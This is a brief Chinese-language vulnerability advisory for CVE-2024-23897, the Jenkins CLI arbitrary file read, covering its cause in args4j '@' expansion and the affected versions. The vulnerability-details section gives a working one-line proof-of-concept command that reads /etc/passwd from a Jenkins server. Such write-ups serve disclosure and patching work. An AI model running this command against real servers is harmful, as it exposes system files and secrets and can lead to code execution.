0x00 前言
Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具,起源于Hudson(Hudson是商用的),主要用于持续、自动的构建/测试软件项目、监控外部任务的运行(这个比较抽象,暂且写上,不做解释)。
Jenkins用Java语言编写,可在Tomcat等流行的servlet容器中运行,也可独立运行。通常与版本管理工具(SCM)、构建工具结合使用。常用的版本控制工具有SVN、GIT,构建工具有Maven、Ant、Gradle。
0x01 漏洞描述
Jenkins CLI 是 Jenkins 内置的命令行页面。Jenkins 受影响版本中使用 args4j 库解析CLI命令参数,该库默认将参数中 @ 字符后的文件路径替换为文件内容。 Jenkins处理CLI命令的命令解析器中的expandAtFile功能存在任意文件读取漏洞。 攻击者可利用该特性使用 Jenkins 控制器进程的默认字符编码读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进制文件),并结合 Resource Root URL、Remember me cookie、存储型 XSS 或 CSRF 等在 Jenkins 控制器中执行任意代码。
0x02 CVE编号
CVE-2024-23897
0x03 影响版本
Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2
0x04 漏洞详情
POC:
代码语言:javascript复制java -jar jenkins-cli.jar -s http://jenkins:8080/ connect-node "@/etc/passwd"
0x05 参考链接
https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
https://blog.csdn.net/weixin_42353842/article/details/135861439?spm=1001.2014.3001.5502